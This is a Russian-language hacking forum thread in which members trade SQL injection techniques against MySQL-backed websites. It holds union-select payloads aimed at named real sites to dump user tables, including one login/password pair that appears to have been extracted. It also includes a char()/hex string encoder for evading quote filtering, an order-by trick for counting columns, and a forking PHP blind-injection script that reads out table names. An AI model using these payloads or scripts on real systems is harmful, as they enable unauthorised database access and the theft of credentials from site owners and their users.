http://www.globalwaterfoundation.org/ news.php?id= 21+union+select+1,column_name,3+from+information_schema.columns+WHERE+table_name='COLLATIONS'+limit+1,1/* )
Ну а если до конца, то: Code: http://www.globalwaterfoundation.org/news.php?id=-1+union+select+1,concat_ws(0x3a,user_username,user_password),3+from+wma_users+limit+0,1/* логин/пас: Code: too1s:4what
не получается провести, если в инъекции 2 поля, а в таблице три столбца. То как быть в такой ситуации?
я про метод подбора полей. у меня всего два поля, т.е. ?id=-1+union+select+1,2+from+users заведомо знаю, что в таблице 3 поля, user_id,user,passwd. просто решил проверить технику, но не получается. -- как я понял, количесво полей не даст, вывисти столбцы(
Я наверно задам глупый вопрос но может у кого нибуть есть все команды sql и что они обозначяют??? А ещё лучьше напишите статью в каких случаях какие применять! зарание спосибо!!! Да и ещё если ктото будет не против обьеснить пару маментов ( бесплатно ) пастучите пожалусто icq 412264840 ( хотя токие врятли будут ) и за что -5 поставили?
Как написал Dr.Z3r0 не всегда возможно использовать кавычки в SQL-запросах, например, при чтении файлов через LOAD_FILE().Можно использовать альтернативные констуркции: 'string' = char(115)+char(116)+char(114)+char(105)+char(110)+char(103) 'string' = 0x737472696E67 Так вот собственно скрипт для этого: (Конечно понятно что сейчас полно инструментов для кодирования строки в char() представление, но мне ,например, так удобней, тем более скрипт 0x123-представлние заменяет на %2b, что необходимо в случае GET запроса) Code: <html> <head> <title>String Convertor for SQL-query</title> <script language="javascript"> function baseConverter (number,ob,nb) { number = number.toUpperCase(); var list = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; var dec = 0; for (var i = 0; i <= number.length; i++) { dec += (list.indexOf(number.charAt(i))) * (Math.pow(ob , (number.length - i - 1))); } number = ""; var magnitude = Math.floor((Math.log(dec))/(Math.log(nb))); for (var i = magnitude; i >= 0; i--) { var amount = Math.floor(dec/Math.pow(nb,i)); number = number + list.charAt(amount); dec -= amount*(Math.pow(nb,i)); } return number; } function recode(target) { var s = new String(target); var out = new String(""); var plus = ""; if (document.forms[0].replaceplus.checked) { plus = "%2b"; } else { plus = "+"; } for(i=0;i<s.length;i++) { out += "char(" + s.charCodeAt(i) + ")"; if (i+1<s.length){ out += plus; } } return out; } function recode16(target16) { var s = new String(target16); var out = new String("0x"); for(i=0;i<s.length;i++) { if (s.charCodeAt(i) < 10) { out += "0" + baseConverter(String(s.charCodeAt(i)),10,16); } else { out += baseConverter(String(s.charCodeAt(i)),10,16); } } return out; } </script> <style type="text/css"> BODY { scrollbar-base-color: #252525; scrollbar-arrow-color: #bbbb88; COLOR: #e4e4e4; margin: 0; font-family: Verdana; font-size: 13px; background-color: #444444; } td { font-family: Verdana; COLOR: #e4e4e4; font-size: 13px; } SELECT { FONT-FAMILY: Verdana; FONT-SIZE: 10px; COLOR: #e4e4e4; font-weight: bold; BACKGROUND-COLOR: #444444; } TEXTAREA, { FONT-SIZE: 13px; FONT-FAMILY: Verdana; COLOR: #EEEEEE; BACKGROUND-COLOR: #252525; } .days { FONT-FAMILY: Verdana; border : none; FONT-SIZE: 10px; COLOR: #e4e4e4; BACKGROUND-COLOR: #222222; } .bginput { FONT-SIZE: 11px; FONT-FAMILY: Verdana; font-weight: bold; COLOR: #EEEEcc; BACKGROUND-COLOR: #252525; } A:link, A:visited, A:active { COLOR: #e2e5cc; text-decoration: none; } A:hover { COLOR: #FFffcc; } .thtcolor { COLOR: #f5f5f5; } .bright { BACKGROUND-COLOR: #dddddd; padding-bottom : 5px; padding-left : 5px; padding-right : 5px; padding-top : 5px; FONT-SIZE: 11px; } .qu { BACKGROUND-COLOR: #3b3b3b; border : thin inset; margin-bottom : 5px; margin-left : 15px; margin-right : 5px; margin-top : 5px; padding-bottom : 5px; padding-left : 5px; padding-right : 5px; padding-top : 5px; border-width : 1px 1px 1px 1px; } </style> </head> <body> <form> <table border=0 cellpadding=2> <tr><td align=center>source</td></tr> <tr><td align=center><textarea name="_in" cols=80 rows=7></textarea></td></tr> <tr><td align=center>char(123)-like result. <input type=checkbox name="replaceplus"> Replace "+" with "%2b"</td></tr> <tr><td align=center><textarea name="_out" cols=80 rows=7></textarea></td></tr> <tr><td align=center>0x0123-like result</td></tr> <tr><td align=center><textarea name="_out16" cols=80 rows=7></textarea></td></tr> <tr><td align=center><input type="button" onClick="document.forms[0]._out.value=recode(document.forms[0]._in.value); document.forms[0]._out16.value=recode16(document.forms[0]._in.value);" value=" encode "></td></tr> </table> </form> </body> </html>
Вообще автор написал хорошую статью... но не указан случай когда при переборе +order+by... Не дает нам результатов. Пример Code: http://savelev.ru/journal/case/more/?id=1 мы наблюдаем ошибку в БД, но таблицы мы не можем узнать. Code: http://savelev.ru/journal/case/more/?id=-1+order+by+999-- Тогда перебор будет другим а точнее Code: http://savelev.ru/journal/case/more/?id=-1+union+select+1,2,3,4,5,0,1,version(),3,4,5--
Что то я не пойму твой вопрос, ну дальше перебирай столбцы, пока не найдешь нужную таблицу, а если не получается перебирать столбцы, то попробуй сразу найти таблицу, запросом : Code: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM user http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM User и так далее...
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,column_name,3,4,5,6 FROM information_schema.columns WHERE table_name='user' И закончили уже оффтоп наконец..
Возможность быстрого подбора количества полей в MySQL Допустим есть сайт, подверженный sql-инъекции при запросе index.php?id=1+order+by+6-- видим ошибку: Unknown column '6' in 'order clause' в данном случае, можно сформировать запрос: index.php?id=1+order+by+1,2,3,4,5,6,7-- Т.е. сортировка будет идти поочередно, и при числе, которое больше количества полей, будет выдана ошибка, указывающая именно первое, превышающее количество полей число. Если полей к примеру 4, и мы сформируем строку index.php?id=1+order+by+1,2,3,4,5,6-- то мы увидим Unknown column '5' in 'order clause' Следовательно полей 4. Недостатки: 1) Имеет смысл только когда выводится Unknown column 'число' in 'order clause' 2) Работает не всегда, к примеру, если в скрипте идет несколько поочередных запросов к БД с различным количеством извлекаемых полей, то в результате мы можем получить "не то" количество полей. P.S. Способ позволяет существенно сэкономить время, необходимое на подбор количества полей и, имхо, вполне удобен(представим, что полей 37, то сколько стандартных запросов придется сделать?) Добавляем в заметки Code: +order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,45,50,500--+
угу оч удобная вещь!!! я обычно делаю так: 1. найти скул и попробовать 2. если работает то проверяем если не работает то скул вероятней всего есть! ну и дальше... 3. 4. значит в результате
AFoST, ну это как бы общеизвестный метод. Iceangel_ же описал способ моментального поиска кол-ва колонок (одним запросом).
Вобщем такое вот дело было: У нас есть сайт,где видим: Code: http://www.site.com/download.php?id=2 Аля нажмите что бы скачать файл с номер 2 в базе данных. Но Code: http://www.site.com/download.php?id=2+and+1=0 Не качается,а вот так: Code: http://www.site.com/download.php?id=2+and+1=1 все нормально Поскольку пример общий, то я подумал о том, что техника впринципе шаблонная. Если у меня от запроса не было ответа, или просто file_get_contents, то была необходимость различать ложные ссылки от подлинных: Code: <? $x=97; $substring = 0; $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1"; $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x; $var = strlen(file_get_contents($url,FALSE,NULL,0,[B]1[/B])); if ($var != 0){ echo "TRUE"; }else{ echo "FALSE"; } } ?> 1 - максимальное значение, которое я получал, мы читаем strlen длину строки, хотя, если мы получим 1 означает, что символ является правдой. Code: <?php /* Coded by [underwater] http://forum.antichat.ru thx Qwazar */ set_time_limit (0); error_reporting(0); function ordenar($file){ $file = file($file); foreach ($file as $var){ list($ansii,$valores)= explode(">",$var); $vars[$ansii] = $valores; } ksort($vars); foreach ($vars as $var){ $data .=trim($var); } return array($data,$vars); } function blind($limit,$substring,$file){ $ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112, 113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57, 65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90); for ($x=0;$x<=count($ascii);$x++){ $f1=fopen($file,"a"); $sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; // Отображение таблиц в БД $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x]; $var = strlen(file_get_contents($url,FALSE,NULL,0,1)); if ($var != 0){ $info = $substring . ">".chr($ascii[$x])."\n"; $string.= chr($ascii[$x]); // Получаем значение и сохраняем его echo "[".$substring."] > FOUND :>>>>>>>>>>> ".$string."\r\n"; fwrite($f1,$info); fclose($f1); exit(); }else{ echo chr($ascii[$x]).chr(13); } } } ############################################################################################ $start = $argv[2]; $finish = $argv[3]; $limit = $argv[1]; $file = rand().".txt";* while (file_exists($file)) { $file = rand().".txt";* } $pids = array(); for($i=$start;$i<=$finish;$i++) { $pid = pcntl_fork(); if($pid == -1) { die('ERROR'); } else if ($pid) { $pids[] = $pid; } else { blind($limit,$i,$file); exit(); } } foreach($pids as $pid) { pcntl_waitpid($pid, $status); } list($data,$vars) = ordenar($file); echo "Значение :> ".$data."\r\n"; unlink($file); ?> 2 Qwazar: спасибо, исправил, разобрались))